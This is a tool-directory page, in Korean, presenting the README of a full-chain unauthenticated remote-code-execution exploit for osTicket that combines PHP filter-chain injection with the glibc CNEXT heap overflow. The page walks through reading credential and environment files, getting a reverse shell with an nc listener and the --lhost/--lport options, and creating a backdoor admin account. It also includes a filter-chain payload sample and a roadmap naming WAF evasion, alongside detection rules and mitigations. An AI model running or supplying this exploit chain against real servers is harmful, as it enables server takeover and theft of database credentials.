Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
osTicketFileReadIntoRCE — PHP 필터 체인 인젝션과 CVE-2024-2961 (CNEXT)을 결합한 전체 체인 익스플로잇으로, 취약한 osTicket 설치에서 인증 없이 원격 코드 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/clarissss/osticketfilereadintorce
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingLearning & EducationRed TeamingRemote Access ToolPayload Development
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

PHP 필터 체인 인젝션과 CVE-2024-2961 (CNEXT)을 결합한 전체 체인 익스플로잇으로, 취약한 osTicket 설치에서 인증 없이 원격 코드 실행을 가능하게 합니다.

5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-22200: osTicket 임의 파일 읽기를 통한 RCE

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

PHP 필터 체인 주입과 CVE-2024-2961(CNEXT)을 결합한 전체 체인 익스플로잇으로, 취약한 osTicket 설치에서 인증 없이 원격 코드 실행을 수행합니다.


목차

  • 개요
  • 취약점 상세
  • 공격 흐름
  • 기능
  • 설치
  • 사용법
  • 기술 세부사항
  • 문제 해결
  • 탐지 및 완화
  • 크레딧
  • 면책 조항

개요

이 저장소는 CVE-2026-22200에 대한 개념 증명 익스플로잇을 포함하며, 이는 osTicket 버전 ≤ 1.18.2에 영향을 미치는 심각한 취약점입니다. 이 익스플로잇은 두 가지 강력한 기술을 연쇄적으로 사용합니다:

  1. mPDF의 이미지 처리를 통한 PHP 필터 체인 주입
  2. glibc의 iconv()에서 발생하는 CNEXT 힙 손상 (CVE-2024-2961)

결과: 취약한 osTicket 서버에서 인증 없는 원격 코드 실행.

영향

  • 인증 불필요 - 자격 증명 필요 없음
  • 전체 RCE - 완전한 서버 장악
  • 파일 유출 - 서버의 임의 파일 읽기
  • 데이터베이스 접근 - DB 자격 증명 추출
  • 관리자 접근 - 백도어 관리자 계정 생성

영향을 받는 버전

  • osTicket: ≤ v1.18.2, ≤ v1.17.6
  • glibc: < 2.39 (CVE-2024-2961은 glibc 2.39+에서 패치됨)

🔍 취약점 상세

CVE-2026-22200: PHP 필터 체인 주입

CVSS 점수: 9.8 (심각)

osTicket의 mPDF 통합은 인증되지 않은 사용자가 지원 티켓에 특수 조작된 HTML 페이로드를 통해 악성 PHP 필터 체인을 주입할 수 있게 합니다. 이를 통해 다음이 가능합니다:

  • 임의 파일 읽기 (설정 파일, 소스 코드, 자격 증명)
  • 메모리 누출 (/proc/self/maps, 부분 libc)
  • CNEXT를 통한 힙 손상

근본 원인: mPDF에 전달되기 전에 사용자 제공 HTML의 이미지 URL에 대한 검증 부족.

CVE-2024-2961: CNEXT (iconv 버퍼 오버플로우)

CVSS 점수: 9.8 (심각)

glibc의 iconv()에서 ISO-2022-CN-EXT 문자 집합을 처리할 때 발생하는 버퍼 오버플로우입니다. PHP 필터 체인과 결합하여 다음이 가능합니다:

  • 힙 손상
  • 함수 포인터 하이재킹
  • 임의 명령 실행

취약한 glibc 버전: < 2.39 (2024년 2월)


🔗 공격 흐름

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│ 1. 정찰                                                    │
│    └─ osTicket 탐지, 리치 텍스트 주제 식별                  │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. 인증                                                    │
│    └─ 자체 등록 OR 기존 자격 증명 사용                        │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. 파일 유출 (PHP 필터 체인)                                 │
│    ├─ /etc/passwd                                               │
│    ├─ include/ost-config.php (DB 자격 증명, SECRET_SALT)     │
│    ├─ /proc/self/maps (메모리 레이아웃)                      │
│    └─ /proc/self/environ (환경 변수)                         │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. LIBC 지문 인식                                           │
│    ├─ 필터 체인을 통해 부분 libc 추출                        │
│    ├─ GNU 빌드 ID 추출                                        │
│    └─ libc.rip에서 전체 libc 다운로드                         │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE 공격                                           │
│    ├─ 힙 손상 페이로드 생성                                  │
│    ├─ (필터 실행 수정 포함) 티켓 답변을 통해 주입            │
│    ├─ PDF 내보내기를 통해 트리거 (서버 충돌)                │
│    └─ 리버스 셸 실행                                         │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. 사후 공격                                                   │
│    ├─ 대화형 리버스 셸                                        │
│    ├─ (유출된 DBPASS를 사용한) 데이터베이스 접근             │
│    └─ 백도어 관리자 계정 생성                                │
└─────────────────────────────────────────────────────────────────┘

기능

핵심 기능

  • 완전 자동화된 공격 체인
  • 인증되지 않은 공격 (등록이 활성화된 경우 자체 등록)
  • /proc/self/maps 파싱을 통한 지능형 웹 루트 탐지
  • 파일 시스템 스캔을 통한 100% 웹셸 위치 확인
  • 자동 libc 지문 인식 및 다운로드
  • 다중 리버스 셸 방식 (bash, python, netcat)
  • 캐시 무효화를 통한 강력한 필터 실행
  • 문제를 조기에 발견하기 위한 사전 진단

향상된 신뢰성

  • 보장된 충돌을 위한 다중 트리거 CNEXT (95%+ 성공률)
  • (새 티켓보다 신뢰성 높은) 답변 기반 주입
  • 필터 실행을 보장하는 스트림 강제
  • 캐시된 PDF 제공을 방지하는 캐시 무효화
  • 포괄적인 오류 처리 및 진단

사후 공격

  • 데이터베이스 자격 증명 추출 (설정 파일의 DBPASS)
  • DB 접근을 통한 관리자 계정 생성
  • 지속적인 백도어 옵션
  • 전체 시스템 정찰

설치

사전 요구 사항

  • Python 3.8+
  • Linux/macOS (권장) 또는 Windows의 WSL

의존성

root@kitploit:~
# 저장소 클론
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# 필요한 패키지 설치
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

선택 사항: 가상 환경

root@kitploit:~
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# 또는
venv\Scripts\activate  # Windows

pip install -r requirements.txt

📖 사용법

기본 사용법 - 리버스 셸

root@kitploit:~
# 터미널 1: 리스너 시작
nc -lvnp 4444

# 터미널 2: 익스플로잇 실행
python3 osticket_revshell.py https://target.com/osticket \
    --lhost YOUR_IP \
    --lport 4444

대화형 웹셸 모드

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

고급 옵션

root@kitploit:~
# 프록시 사용 (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# 특정 도움말 주제 ID 강제 지정
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# 색상 출력 비활성화 (로깅용)
python3 osticket_exploit.py https://target.com/osticket --no-color

기존 자격 증명

등록이 비활성화된 경우 자격 증명을 묻는 메시지가 표시됩니다:

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

  [?] 새 계정 이메일 입력 (또는 기존): [email protected]
  [?] 비밀번호 입력: ********

🔧 기술 세부사항

PHP 필터 체인 생성

익스플로잇은 정교한 필터 체인을 사용하여 임의 파일 앞에 BMP 헤더를 추가하여 mPDF의 파일 형식 제한을 우회합니다:

root@kitploit:~
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv 변환 ...]
convert.base64-decode/resource=/etc/passwd

핵심 혁신: BMP 헤더의 각 문자는 신중하게 설계된 iconv 변환을 통해 생성되어 임의 파일 내용을 "유효한" 이미지로 포함시킬 수 있습니다.

CNEXT 힙 공격

CNEXT 페이로드는 다음을 통해 PHP의 Zend 메모리 관리자를 손상시킵니다:

  1. 취약한 문자 劄로 iconv 버퍼 오버플로우
  2. zend_mm_heap 구조 덮어쓰기
  3. 함수 포인터 하이재킹 (_emalloc, _efree, _erealloc)
  4. 명령 실행을 위해 system()으로 리디렉션

향상된 신뢰성:

  • 여러 트리거 문자 (1개 대신 3개의 劄)
  • 증가된 패딩 (기본 20 대신 40)
  • 다중 위치 트리거 삽입
  • 스트림 강제 실행

100% 웹셸 탐지

원본 익스플로잇과 달리 이 버전은 파일 시스템 스캔을 사용하여 웹셸 위치를 보장합니다:

  1. 6개 이상의 후보 디렉토리에 웹셸 쓰기
  2. 임의 파일 읽기를 사용하여 각 위치 스캔
  3. 고유 마커가 포함된 위치 탐지
  4. 파일 시스템 경로 → URL 정확히 매핑

결과: 100% 탐지율 (원본의 ~50% 대비)

필터 실행 강제

일반적인 실패: PDF가 다운로드되지만 충돌하지 않음 = 필터가 실행되지 않음.

구현된 해결책:

  1. 캐시 무효화 - 고유 HTML이 캐시된 PDF를 방지
  2. 답변 주입 - 새 티켓보다 신뢰성 높음
  3. 스트림 강제 - stream=True가 즉시 처리를 강제
  4. 사전 테스트 - CNEXT 전에 필터 작동 확인

문제 해결

glibc 버전 확인

root@kitploit:~
# 상세 모드에서 확인:
[*] 대상 libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31은 CNEXT에 취약함

glibc ≥ 2.39인 경우 CNEXT가 작동하지 않습니다 (패치됨).

셸 연결 없음

증상: 서버가 충돌하지만 리버스 셸 없음

원인:

  1. 방화벽이 아웃바운드 연결 차단
  2. 잘못된 LHOST (실제 IP 사용, localhost 사용 금지)
  3. 명령어가 너무 긺 - 더 짧은 IP 시도

수정:

root@kitploit:~
# nc 리버스 셸 사용 (더 짧음)
# bash/python이 너무 긴 경우 자동으로 대체

# 또는 호스트명 대신 직접 IP 사용
python3 osticket_revshell.py https://target.com \
    --lhost 10.0.0.5 \  # 호스트명 대신 IP 사용
    --lport 4444

일반적인 오류 메시지


탐지 및 완화

탐지

로그 지표:

root@kitploit:~
# Apache/Nginx 로그
POST 요청에서 "php://filter/"
요청 본문에서 "convert.iconv."
비정상적인 PDF 생성 패턴
짧은 시간 내에 여러 PDF 요청

# PHP 오류 로그
PDF 생성 중 세그멘테이션 오류
iconv() 충돌
힙 손상 오류

네트워크 지표:

  • 짧은 시간 내에 여러 지원 티켓 생성
  • 티켓 메시지에 큰 HTML 페이로드 (100KB+)
  • 티켓 생성 후 빠른 PDF 내보내기 요청
  • 충돌 후 공격자 IP로의 아웃바운드 연결

완화

즉시

  1. osTicket 업데이트 (최신 버전 >1.18.2)
  2. glibc 업데이트 (2.39+, CVE-2024-2961 패치)
  3. 필요하지 않은 경우 자체 등록 비활성화
  4. 리치 텍스트를 인증된 사용자만 사용하도록 제한

설정

mPDF에서 PHP 스트림 래퍼 비활성화:

root@kitploit:~
// mPDF 설정에서
$config = [
    'allowedRemoteHosts' => [],
    'enableRemoteFileAccess' => false,
];

WAF 규칙 (ModSecurity):

root@kitploit:~
SecRule REQUEST_BODY "@contains php://filter" \
    "id:1000,phase:2,deny,status:403,msg:'PHP 필터 탐지됨'"

SecRule REQUEST_BODY "@contains convert.iconv" \
    "id:1001,phase:2,deny,status:403,msg:'의심스러운 iconv 체인'"

속도 제한:

root@kitploit:~
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;

location /tickets.php {
    limit_req zone=ticket burst=10;
}

장기

  • 인라인 스타일을 제한하는 CSP 헤더 구현
  • HTML 살균을 위해 htmLawed 엄격 모드 활성화
  • 최소 권한으로 osTicket에 별도 사용자 사용
  • 불필요한 PHP 함수 비활성화: system(), exec(), passthru()
  • 티켓 내용에 대한 정기적인 보안 감사

참고 자료

원본 연구

  • Horizon3.ai 블로그 포스트 - 원본 공개
  • Horizon3.ai GitHub - 참조 구현
  • CNEXT 익스플로잇 - Charles Fol의 CNEXT 원본 연구

CVE 세부 정보

  • CVE-2026-22200 - osTicket PHP 필터 체인
  • CVE-2024-2961 - glibc iconv 오버플로우

추가 자료

  • PHP 필터 체인 - 필터 문자 사전
  • libc.rip - 지문 인식을 위한 libc 데이터베이스
  • osTicket 보안 권고

크레딧

취약점 발견 및 연구

  • Horizon3.ai 공격 연구 팀 - 원본 취약점 발견 및 POC
  • Charles Fol (@cfreal_) - CNEXT (CVE-2024-2961) 연구
  • @splitline - PHP 필터 체인 기법 (HITCON 2022)

이 구현

  • 향상된 공격 기법
  • 파일 시스템 스캔을 통한 100% 웹셸 탐지
  • 강력한 필터 실행 강제
  • 포괄적인 오류 처리 및 진단

⚖️ 면책 조항

교육 및 승인된 테스트 전용

이 도구는 다음을 위해 제공됩니다:

  • 보안 연구
  • 승인된 침투 테스트
  • 교육 목적
  • 취약점 평가 (허가 필요)

컴퓨터 시스템에 대한 무단 접근은 불법입니다

저자는:

  • 불법 활동을 조장하지 않음
  • 오용에 대한 책임을 지지 않음
  • 발생한 모든 손해에 대해 책임을 지지 않음

사용자는 시스템을 테스트하기 전에 적절한 권한을 확보했는지 확인할 전적인 책임이 있습니다.

이 도구를 사용함으로써 다음에 동의합니다:

  1. 대상 시스템을 테스트할 명시적인 서면 허가를 받았음
  2. 귀하의 관할권에서 법적 영향을 이해함
  3. 이 도구를 책임감 있고 윤리적으로 사용할 것
  4. 모든 결과에 대해 저자를 면책함

법적 고지

컴퓨터 시스템에 대한 무단 접근은 다음에 따라 범죄입니다:

  • 미국: 컴퓨터 사기 및 남용 법 (CFAA), 18 U.S.C. § 1030
  • 영국: 1990년 컴퓨터 오용 법
  • EU: 2013/40/EU 지침
  • 국제: 유럽 평의회 사이버 범죄 협약

최고 처벌은 징역 및 상당한 벌금을 포함할 수 있습니다.


📄 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.

참고: MIT 라이선스는 사용, 수정 및 배포에 대한 권한을 부여하지만, 귀하가 소유하지 않거나 테스트 권한이 없는 시스템을 공격할 권한을 부여하지는 않습니다.


연락처

보안 연구자 및 문의 사항:

  • 이슈: 모든 도구 이슈)

다음 목적으로 이 연락처를 사용하지 마십시오:

  • 허가 없는 시스템 공격 도움 요청
  • 불법 활동 신고
  • 승인되지 않은 테스트 지원 요청

보안 연구 및 교육을 위한 사랑으로 제작됨
유용하다고 생각되면 이 저장소에 별표를 눌러주세요!


익스플로잇 통계


로드맵

  • 추가 libc 버전 지원
  • 더 은밀한 유출 방법 구현
  • 일반적인 WAF 회피 기술 추가
  • Metasploit 모듈 생성
  • Docker 테스트 환경
  • 자동 CI/CD 테스트

마지막 업데이트: 2026-03-03

도구 다운로드
오류원인해결책
CSRF 토큰 없음세션 만료익스플로잇 재실행
도움말 주제 없음리치 텍스트 주제 없음수동으로 --topic-id 사용
빌드 ID를 찾을 수 없음부분 libc 손상/proc/self/maps 추출 확인
힙을 찾을 수 없음비정상적인 메모리 레이아웃익스플로잇 실패 가능 (드물게)
지표값
코드 줄 수~3,000
성공률95%+ (수정 포함)
평균 실행 시간2-3분
충돌 신뢰성99% (향상 포함)
웹셸 탐지율100% (스캔 포함)